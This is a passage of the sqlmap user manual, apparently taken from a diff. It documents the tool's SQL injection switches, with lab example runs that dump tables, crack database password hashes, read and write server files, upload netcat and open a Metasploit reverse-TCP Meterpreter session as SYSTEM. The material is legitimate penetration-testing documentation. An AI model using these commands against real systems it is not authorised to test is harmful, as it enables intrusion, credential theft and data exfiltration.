-not injected page content.
-Not always this concept works because sometimes the page content changes at
-each refresh even not injecting anything, for instance when the page has a
-counter, a dynamic advertisement banner or any other part of the HTML which
-is rendered dynamically and might change in time not only consequently to
-user's input.
-To bypass this limit, sqlmap tries hard to identify these snippets of the
-response bodies and deal accordingly. Sometimes it may fail, that is why
-the user can provide a string (-
-string
switch) which is
-always present on the not injected page and on all True
-injected query pages, but that it is not on the False ones. As
-an alternative to a static string, the user can provide a regular
-expression (-
-regexp
switch).
Such data is easy for an user to retrieve, simply try to inject on the -affected parameter an invalid value and compare manually the original (not -injected) page content with the injected wrong page content. -This way the distinction will be based upon string presence or regular -expression match.
- -In cases with lot of active content (e.g. scripts, embeds, etc.) in the
-HTTP responses' body, you can filter pages (-
-text-only
-switch) just for their textual content. This way, in a good number of
-cases, you can automatically tune the detection engine.
These options can be used to tweak testing of specific SQL injection -techniques.
- - -Switch: -
-technique
This switch can be used to specify which SQL injection type to test for. -By default sqlmap tests for all types/techniques it supports.
- -In certain situations you may want to test only for one or few specific -types of SQL injection thought and this is where this switch comes into -play.
- -This switch requires an argument. Such argument is a string composed by
-any combination of B
, E
, U
, S
and
-T
characters where each letter stands for a different technique:
-
B
: Boolean-based blind SQL injectionE
: Error-based SQL injectionU
: UNION query SQL injectionS
: Stacked queries SQL injectionT
: Time-based blind SQL injectionFor instance, you can provide ES
if you want to test for and
-exploit error-based and stacked queries SQL injection types only.
-The default value is BEUST
.
Note that the string must include stacked queries technique letter,
-S
, when you want to access the file system, takeover the
-operating system or access Windows registry hives.
Switch: -
-time-sec
It is possible to set the seconds to delay the response when testing for
-time-based blind SQL injection, by providing the
--
-time-sec
option followed by an integer.
-By default delay is set to 5 seconds.
Switch: -
-union-cols
By default sqlmap tests for UNION query SQL injection technique using 1 to
-10 columns. However, this range can be increased up to 50 columns by
-providing an higher -
-level
value. See the relevant
-paragraph for details.
You can manually tell sqlmap to test for this type of SQL injection with a
-specific range of columns by providing the tool with the
--
-union-cols
switch followed by a range of integers. For
-instance, 12-16
means tests for UNION query SQL injection by
-using 12 up to 16 columns.
Switch: -
-union-char
By default sqlmap tests for UNION query SQL injection technique using
-NULL
character. However, by providing an higher
--
-level
value sqlmap will performs tests also with a
-random number because there are some corner cases where UNION query tests
-with NULL
fail whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL injection with a
-specific character by providing the tool with the
--
-union-char
switch followed by a string.
Switches: -f
or -
-fingerprint
By default the web application's back-end database management system -fingerprint is handled automatically by sqlmap. -Just after the detection phase finishes and the user is eventually -prompted with a choice of which vulnerable parameter to use further on, -sqlmap fingerprints the back-end database management system and carries -on the injection by knowing which SQL syntax, dialect and queries to use -to proceed with the attack within the limits of the database architecture.
- -If for any instance you want to perform an extensive database management
-system fingerprint based on various techniques like specific SQL dialects
-and inband error messages, you can provide the
--
-fingerprint
switch. sqlmap will perform a lot more
-requests and fingerprint the exact DBMS version and, where possible,
-operating system, architecture and patch level.
If you want the fingerprint to be even more accurate result, you can also
-provide the -b
or -
-banner
switch.
These options can be used to enumerate the back-end database management -system information, structure and data contained in the tables. Moreover -you can run your own SQL statements.
- - -Switch: -b
or -
-banner
Most of the modern database management systems have a function and/or
-an environment variable which returns the database management system
-version and eventually details on its patch level, the underlying
-system. Usually the function is version()
and the environment
-variable is @@version
, but this vary depending on the target
-DBMS.
Switch: -
-current-user
On the majority of modern DBMSes is possible to retrieve the database -management system's user which is effectively performing the query against -the back-end DBMS from the web application.
- - -Switch: -
-current-db
It is possible to retrieve the database management system's database name -that the web application is connected to.
- - -Switch: -
-is-dba
It is possible to detect if the current database management system session
-user is a database administrator, also known as DBA.
-sqlmap will return True
if it is, viceversa False
.
Switch: -
-users
When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the list of -users.
- - -Switches: -
-passwords
and -U
When the session user has read access to the system table containing -information about the DBMS users' passwords, it is possible to enumerate -the password hashes for each database management system user. -sqlmap will first enumerate the users, then the different password hashes -for each of them.
- -Example against a PostgreSQL target:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-[hh:mm:38] [INFO] fetching database users password hashes
-do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
-[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
-what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
-[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
-do you want to use common password suffixes? (slow!) [y/N] n
-[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
-[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
-[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
-database management system users password hashes:
-[*] postgres [1]:
- password hash: md5d7d880f96044b72d0bba108ace96d1e4
- clear-text password: testpass
-[*] testuser [1]:
- password hash: md599e5ea7a6f7c3269995cba3927fd0093
- clear-text password: testpass
-
-
-
-
-Not only sqlmap enumerated the DBMS users and their passwords, but it also
-recognized the hash format to be PostgreSQL, asked the user whether or not
-to test the hashes against a dictionary file and identified the clear-text
-password for the postgres
user, which is usually a DBA along the
-other user, testuser
, password.
This feature has been implemented for all DBMS where it is possible to -enumerate users' password hashes, including Oracle and Microsoft SQL -Server pre and post 2005.
- -You can also provide the -U
option to specify the specific user
-who you want to enumerate and eventually crack the password hash(es).
-If you provide CU
as username it will consider it as an alias for
-current user and will retrieve the password hash(es) for this user.
Switches: -
-privileges
and -U
When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -privileges for each database management system user. -By the privileges, sqlmap will also show you which are database -administrators.
- -You can also provide the -U
option to specify the user who you
-want to enumerate the privileges.
If you provide CU
as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
On Microsoft SQL Server, this feature will display you whether or not each -user is a database administrator rather than the list of privileges for -all users.
- - -Switches: -
-roles
and -U
When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -roles for each database management system user.
- -You can also provide the -U
option to specify the user who you
-want to enumerate the privileges.
If you provide CU
as username it will consider it as an alias for
-current user and will enumerate the privileges for this user.
This feature is only available when the DBMS is Oracle.
- - -Switch: -
-dbs
When the session user has read access to the system table containing -information about available databases, it is possible to enumerate the -list of databases.
- - -Switches: -
-tables
, -D
and
--
-exclude-sysdbs
When the session user has read access to the system table containing -information about databases' tables, it is possible to enumerate -the list of tables for a specific database management system's databases.
- -If you do not provide a specific database with switch -D
, sqlmap
-will enumerate the tables for all DBMS databases.
You can also provide the -
-exclude-sysdbs
switch to
-exclude all system databases.
Note that on Oracle you have to provide the TABLESPACE_NAME
-instead of the database name.
Switches: -
-columns
, -C
, -T
and -D
When the session user has read access to the system table containing -information about database's tables, it is possible to enumerate the list -of columns for a specific database table. -sqlmap also enumerates the data-type for each column.
- -This feature depends on the option -T
to specify the table name
-and optionally on -D
to specify the database name. When the
-database name is not specified, the current database name is used.
-You can also provide the -C
option to specify the table columns
-name like the one you provided to be enumerated.
Example against a SQLite target:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
- -D testdb -T users -C name
-[...]
-Database: SQLite_masterdb
-Table: users
-[3 columns]
-+---------+---------+
-| Column | Type |
-+---------+---------+
-| id | INTEGER |
-| name | TEXT |
-| surname | TEXT |
-+---------+---------+
-
-
-
-
-Note that on PostgreSQL you have to provide public
or the
-name of a system database. That's because it is not possible to enumerate
-other databases tables, only the tables under the schema that the web
-application's user is connected to, which is always aliased by
-public
.
Switches: -
-schema
TODO
- - -Switches: -
-count
TODO
- - -Switches: -
-dump
, -C
, -T
, -D
,
--
-start
, -
-stop
, -
-first
-and -
-last
When the session user has read access to a specific database's table it is -possible to dump the table entries.
- -This functionality depends on switch -T
to specify the table
-name and optionally on switch -D
to specify the database name.
-If the table name is provided, but the database name is not, the current
-database name is used.
Example against a Firebird target:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
-[...]
-Database: Firebird_masterdb
-Table: USERS
-[4 entries]
-+----+--------+------------+
-| ID | NAME | SURNAME |
-+----+--------+------------+
-| 1 | luther | blisset |
-| 2 | fluffy | bunny |
-| 3 | wu | ming |
-| 4 | NULL | nameisnull |
-+----+--------+------------+
-
-
-
-
-This switch can also be used to dump all tables' entries of a provided
-database. You simply have to provide sqlmap with the -
-dump
-switch along with only the -D
switch, no -T
and no
--C
.
You can also provide a comma-separated list of the specific columns to
-dump with the -C
switch.
sqlmap also generates for each table dumped the entries in a CSV format -textual file. -You can see the absolute path where sqlmap creates the file by providing a -verbosity level greater than or equal to 1.
- -If you want to dump only a range of entries, then you can provide switches
--
-start
and/or -
-stop
to respectively
-start to dump from a certain entry and stop the dump at a certain entry.
-For instance, if you want to dump only the first entry, provide
--
-stop 1
in your command line. Vice versa if, for
-instance, you want to dump only the second and third entry, provide
--
-start 1
-
-stop 3
.
It is also possible to specify which single character or range of characters
-to dump with switches -
-first
and -
-last
.
-For instance, if you want to dump columns' entries from the third to the
-fifth character, provide -
-first 3
-
-last
-5
.
-This feature only applies to the blind SQL injection techniques because for
-error-based and UNION query SQL injection techniques the number of requests
-is exactly the same, regardless of the length of the column's entry output
-to dump.
As you may have noticed by now, sqlmap is flexible: you can leave -it to automatically dump the whole database table or you can be very -precise in which characters to dump, from which columns and which range of -entries.
- - -Switches: -
-dump-all
and -
-exclude-sysdbs
It is possible to dump all databases tables entries at once that the -session user has read access on.
- -You can also provide the -
-exclude-sysdbs
switch to
-exclude all system databases. In that case sqlmap will only dump entries
-of users' databases tables.
Note that on Microsoft SQL Server the master
database is not
-considered a system database because some database administrators use it
-as a users' database.
Switches: -
-search
, -C
, -T
, -D
This switch allows you to search for specific database names, specific -tables across all databases or specific columns across all databases' -tables.
- -This is useful, for instance, to identify tables containing custom -application credentials where relevant columns' names contain string like -name and pass.
- -The switch -
-search
needs to be used in conjunction with
-one of the following support switches:
-
-C
following a list of comma-separated column names to look
-for across the whole database management system.-T
following a list of comma-separated table names to look
-for across the whole database management system.-D
following a list of comma-separated database names to
-look for across the database management system.Switches: -
-sql-query
and -
-sql-shell
The SQL query and the SQL shell features allow to run arbitrary SQL -statements on the database management system. -sqlmap automatically dissects the provided statement, determines which -technique is appropriate to use to inject it and how to pack the SQL -payload accordingly.
- -If the query is a SELECT
statement, sqlmap will retrieve its
-output.
-Otherwise it will execute the query through the stacked query SQL
-injection technique if the web application supports multiple statements on
-the back-end database management system.
-Beware that some web application technologies do not support stacked
-queries on specific database management systems. For instance, PHP does
-not support stacked queries when the back-end DBMS is MySQL, but it does
-support when the back-end DBMS is PostgreSQL.
Examples against a Microsoft SQL Server 2000 target:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo'" -v 1
-
-[...]
-[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] retrieved: foo
-SELECT 'foo': 'foo'
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
- "SELECT 'foo', 'bar'" -v 2
-
-[...]
-[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
-distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-SELECT 'foo', 'bar': 'foo, bar'
-
-
-
-
-As you can see, sqlmap splits the provided query into two different
-SELECT
statements then retrieves the output for each separate
-query.
If the provided query is a SELECT
statement and contains a
-FROM
clause, sqlmap will ask you if such statement can return
-multiple entries. In that case the tool knows how to unpack the query
-correctly to count the number of possible entries and retrieve its output,
-entry per entry.
The SQL shell option allows you to run your own SQL statement -interactively, like a SQL console connected to the database management -system. -This feature provides TAB completion and history support too.
- - -These options can be used to run brute force checks.
- -Switches: -
-common-tables
There are cases where -
-tables
switch can not be used to
-retrieve the databases' table names. These cases usually fit into one
-of the following categories:
-
information_schema
is not available.MSysObjects
is not readable - default setting.If any of the first two cases apply and you provided the
--
-tables
switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
--
-common-tables
switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common tables
-across the DBMS.
The list of common table names is txt/common-tables.txt
and you
-can edit it as you wish.
Example against a MySQL 4.1 target:
--
-
-$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
- --common-tables -D testdb --banner
-
-[...]
-[hh:mm:39] [INFO] testing MySQL
-[hh:mm:39] [INFO] confirming MySQL
-[hh:mm:40] [INFO] the back-end DBMS is MySQL
-[hh:mm:40] [INFO] fetching banner
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS operating system: Windows
-back-end DBMS: MySQL < 5.0.0
-banner: '4.1.21-community-nt'
-
-[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
-[hh:mm:40] [INFO] adding words used on web page to the check list
-please enter number of threads? [Enter for 1 (current)] 8
-[hh:mm:43] [INFO] retrieved: users
-
-Database: testdb
-[1 table]
-+-------+
-| users |
-+-------+
-
-
-
-
-
-Switches: -
-common-columns
As per tables, there are cases where -
-columns
switch
-can not be used to retrieve the databases' tables' column names. These
-cases usually fit into one of the following categories:
-
information_schema
is not available.If any of the first two cases apply and you provided the
--
-columns
switch, sqlmap will prompt you with a question
-to fall back to this technique.
-Either of these cases apply to your situation, sqlmap can possibly still
-identify some existing tables if you provide it with the
--
-common-columns
switch. sqlmap will perform a
-brute-force attack in order to detect the existence of common columns
-across the DBMS.
The list of common table names is txt/common-columns.txt
and you
-can edit it as you wish.
These options can be used to create custom user-defined functions.
- -Switches: -
-udf-inject
and -
-shared-lib
You can inject your own user-defined functions (UDFs) by compiling a -MySQL or PostgreSQL shared library, DLL for Windows and shared object for -Linux/Unix, then provide sqlmap with the path where the shared library -is stored locally on your machine. sqlmap will then ask you some -questions, upload the shared library on the database server file system, -create the user-defined function(s) from it and, depending on your -options, execute them. When you are finished using the injected UDFs, -sqlmap can also remove them from the database for you.
- -These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.
- -Use switch -
-udf-inject
and follow the instructions.
If you want, you can specify the shared library local file system path
-via command line too by using -
-shared-lib
option. Vice
-versa sqlmap will ask you for the path at runtime.
This feature is available only when the database management system is -MySQL or PostgreSQL.
- - -Switch: -
-file-read
It is possible to retrieve the content of files from the underlying file -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.
- -These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.
- -Example against a Microsoft SQL Server 2005 target to retrieve a binary -file:
--
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
- --file-read "C:/example.exe" -v 1
-
-[...]
-[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
-[...]
-
-$ ls -l output/192.168.136.129/files/C__example.exe
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-
-$ file output/192.168.136.129/files/C__example.exe
-output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
-80386 32-bit
-
-
-
-
-
-Switches: -
-file-write
and -
-file-dest
It is possible to upload a local file to the database server's file system -when the back-end database management system is either MySQL, PostgreSQL -or Microsoft SQL Server, and the session user has the needed privileges to -abuse database specific functionalities and architectural weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.
- -These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.
- -Example against a MySQL target to upload a binary UPX-compressed file:
--
-
-$ file /software/nc.exe.packed
-/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
-
-$ ls -l /software/nc.exe.packed
--rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
- "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
-[...]
-[hh:mm:29] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[...]
-do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
-written on the back-end DBMS file system? [Y/n] y
-[hh:mm:52] [INFO] retrieved: 31744
-[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
-same size as the local file '/software/nc.exe.packed'
-
-
-
-
-
-Switches: -
-os-cmd
and -
-os-shell
It is possible to run arbitrary commands on the database server's -underlying operating system when the back-end database management -system is either MySQL, PostgreSQL or Microsoft SQL Server, and the -session user has the needed privileges to abuse database specific -functionalities and architectural weaknesses.
- -On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
-explained above) a shared library (binary file) containing two
-user-defined functions, sys_exec()
and sys_eval()
, then
-it creates these two functions on the database and calls one of them to
-execute the specified command, depending on user's choice to display the
-standard output or not.
-On Microsoft SQL Server, sqlmap abuses the xp_cmdshell
stored
-procedure: if it is disabled (by default on Microsoft SQL Server >= 2005),
-sqlmap re-enables it; if it does not exist, sqlmap creates it from
-scratch.
When the user requests the standard output, sqlmap uses one of the -enumeration SQL injection techniques (blind, inband or error-based) to -retrieve it. Vice versa, if the standard output is not required, stacked -query SQL injection technique is used to execute the command.
- -These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.
- -Example against a PostgreSQL target:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
- --os-cmd id -v 1
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
-[hh:mm:12] [INFO] testing if current user is DBA
-[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
-do you want to retrieve the command standard output? [Y/n/a] y
-command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
-
-[hh:mm:19] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_eval'? [Y/n] y
-do you want to remove UDF 'sys_exec'? [Y/n] y
-[hh:mm:23] [INFO] database management system cleanup finished
-[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
-only be deleted manually
-
-
-
-
-It is also possible to simulate a real shell where you can type as many
-arbitrary commands as you wish. The option is -
-os-shell
-and has the same TAB completion and history functionalities that
--
-sql-shell
has.
Where stacked queries has not been identified on the web application
-(e.g. PHP or ASP with back-end database management system being MySQL) and
-the DBMS is MySQL, it is still possible to abuse the SELECT
-clause's INTO OUTFILE
to create a web backdoor in a writable
-folder within the web server document root and still get command
-execution assuming the back-end DBMS and the web server are hosted on the
-same server.
-sqlmap supports this technique and allows the user to provide a
-comma-separated list of possible document root sub-folders where try to
-upload the web file stager and the subsequent web backdoor. Also, sqlmap
-has its own tested web file stagers and backdoors for the following
-languages:
-
Switches: -
-os-pwn
, -
-os-smbrelay
,
--
-os-bof
, -
-priv-esc
,
--
-msf-path
and -
-tmp-path
It is possible to establish an out-of-band stateful TCP connection -between the attacker machine and the database server underlying -operating system when the back-end database management system is either -MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the -needed privileges to abuse database specific functionalities and -architectural weaknesses. -This channel can be an interactive command prompt, a Meterpreter session -or a graphical user interface (VNC) session as per user's choice.
- -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -
sys_bineval()
. Supported on
-MySQL and PostgreSQL - switch -
-os-pwn
.sys_exec()
on
-MySQL and PostgreSQL or via xp_cmdshell()
on Microsoft SQL
-Server - switch -
-os-pwn
.smb_relay
server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0
) on Linux/Unix and the target DBMS runs as Administrator
-on Windows - switch -
-os-smbrelay
.sp_replwritetovarbin
stored procedure heap-based buffer
-overflow (
-MS09-004). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation - switch -
-os-bof
.These techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.
- -Example against a MySQL target:
--
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
- --msf-path /software/metasploit
-
-[...]
-[hh:mm:31] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003
-web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
-back-end DBMS: MySQL 5.0
-[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
-how do you want to establish the tunnel?
-[1] TCP: Metasploit Framework (default)
-[2] ICMP: icmpsh - ICMP tunneling
->
-[hh:mm:32] [INFO] testing if current user is DBA
-[hh:mm:32] [INFO] fetching current user
-what is the back-end database management system architecture?
-[1] 32-bit (default)
-[2] 64-bit
->
-[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
->
-[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
->
-which is the local address? [192.168.136.1]
-which local port number do you want to use? [60641]
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
->
-[hh:mm:40] [INFO] creation in progress ... done
-[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
-
- _
- | | o
- _ _ _ _ _|_ __, , _ | | __ _|_
-/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
- | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
- /|
- \|
-
-
- =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
-+ -- --=[ 674 exploits - 351 auxiliary
-+ -- --=[ 217 payloads - 27 encoders - 8 nops
- =[ svn r12272 updated 4 days ago (2011.04.07)
-
-PAYLOAD => windows/meterpreter/reverse_tcp
-EXITFUNC => thread
-LPORT => 60641
-LHOST => 192.168.136.1
-[*] Started reverse handler on 192.168.136.1:60641
-[*] Starting the payload handler...
-[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
-please wait..
-[*] Sending stage (749056 bytes) to 192.168.136.129
-[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
-hh:mm:52 +0100 2011
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > Loading extension sniffer...success.
-meterpreter > System Language : en_US
-OS : Windows .NET Server (Build 3790, Service Pack 2).
-Computer : W2K3R2
-Architecture : x86
-Meterpreter : x86/win32
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address : 127.0.0.1
-Netmask : 255.0.0.0
-
-
-
-Intel(R) PRO/1000 MT Network Connection
-Hardware MAC: 00:0c:29:fc:79:39
-IP Address : 192.168.136.129
-Netmask : 255.255.255.0
-
-
-meterpreter > exit
-
-[*] Meterpreter session 1 closed. Reason: User exit
-
-
-
-
-By default MySQL on Windows runs as SYSTEM
, however PostgreSQL
-runs as a low-privileged user postgres
on both Windows and Linux.
-Microsoft SQL Server 2000 by default runs as SYSTEM
, whereas
-Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
-SERVICE
and sometimes as LOCAL SERVICE
.
It is possible to provide sqlmap with the -
-priv-esc
-switch to perform a database process' user privilege escalation
-via Metasploit's getsystem
command which include, among others,
-the
-kitrap0d technique (
-MS10-015).
It is possible to access Windows registry when the back-end database -management system is either MySQL, PostgreSQL or Microsoft SQL Server, -and when the web application supports stacked queries. Also, session user -has to have the needed privileges to access it.
- -Switch: -
-reg-read
Using this option you can read registry key values.
- -Switch: -
-reg-add
Using this option you can write registry key values.
- -Switch: -
-reg-del
Using this option you can delete registry keys.
- -Switches: -
-reg-key
, -
-reg-value
,
--
-reg-data
and -
-reg-type
These switches can be used to provide data needed for proper running of
-options -
-reg-read
, -
-reg-add
and
--
-reg-del
. So, instead of providing registry key
-information when asked, you can use them at command prompt as program
-arguments.
With -
-reg-key
option you specify used Windows registry
-key path, with -
-reg-value
value item name inside
-provided key, with -
-reg-data
value data, while with
--
-reg-type
option you specify type of the value item.
A sample command line for adding a registry key hive follows:
--
-
-$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
- --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
-
-
-
-Switch: -t
This switch requires an argument that specified the textual file to write -all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) -responses.
- -This is useful primarily for debug purposes.
- - -Switch: -s
By default sqlmap logs all queries and their output into a textual file -called session file, regardless of the technique used to extract -the data. -This is useful if you stop the injection for any reason and rerun it -afterwards: sqlmap will parse the session file and resume enumerated data -from it, then carry on extracting data from the exact point where it left -before you stopped the tool.
- -The default session file is output/TARGET_URL/session
, but you
-can specify a different file path with -s
switch.
The session file has the following structure:
--
-
-[hh:mm:ss MM/DD/YY]
-[Target URL][Injection point][Parameters][Query or information name][Query output or value]
-
-
-
-
-A more user friendly textual file where all data retrieved is saved, is
-the log file, output/TARGET_URL/log
. This file can be
-useful to see all information enumerated to the end.
Switch: -
-flush-session
As you are already familiar with the concept of a session file from the
-description above, it is good to know that you can flush the content of
-that file using option -
-flush-session
.
-This way you can avoid the caching mechanisms implemented by default in
-sqlmap. Other possible way is to manually remove the session file(s).
Switch: -
-fresh-queries
As you are already familiar with the concept of a session file from the
-description above, it is good to know that you can ignore the content of
-that file using option -
-fresh-queries
.
-This way you can keep the session file untouched and for a selected run,
-avoid the resuming/restoring of queries output.
Switch: -
-eta
It is possible to calculate and show in real time the estimated time of -arrival to retrieve each query output. This is shown when the technique -used to retrieve the output is any of the blind SQL injection types.
- -Example against an Oracle target affected only by boolean-based blind SQL -injection:
--
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
-
-[...]
-[hh:mm:01] [INFO] the back-end DBMS is Oracle
-[hh:mm:01] [INFO] fetching banner
-[hh:mm:01] [INFO] retrieving the length of query output
-[hh:mm:01] [INFO] retrieved: 64
-17% [========> ] 11/64 ETA 00:19
-
-
-
-
-Then:
--
-
-100% [===================================================] 64/64
-[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: Oracle
-banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
-
-
-
-
-As you can see, sqlmap first calculates the length of the query output, -then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved output characters.
- - -Switch: -
-update
Using this option you can update the tool to the latest development -version directly from the subversion repository. You obviously need -Internet access.
- -If, for any reason, this operation fails, run git pull
from
-your sqlmap working copy. It will perform the exact same operation of
-switch -
-update
.
-If you are running sqlmap on Windows, you can use the
-SmartGit client.
This is strongly recommended before reporting any bug to the -mailing lists.
- - -Switch: -
-save
It is possible to save the command line options to a configuration INI
-file.
-The generated file can then be edited and passed to sqlmap with the
--c
option as explained above.
Switch: -
-batch
If you want sqlmap to run as a batch tool, without any user's interaction
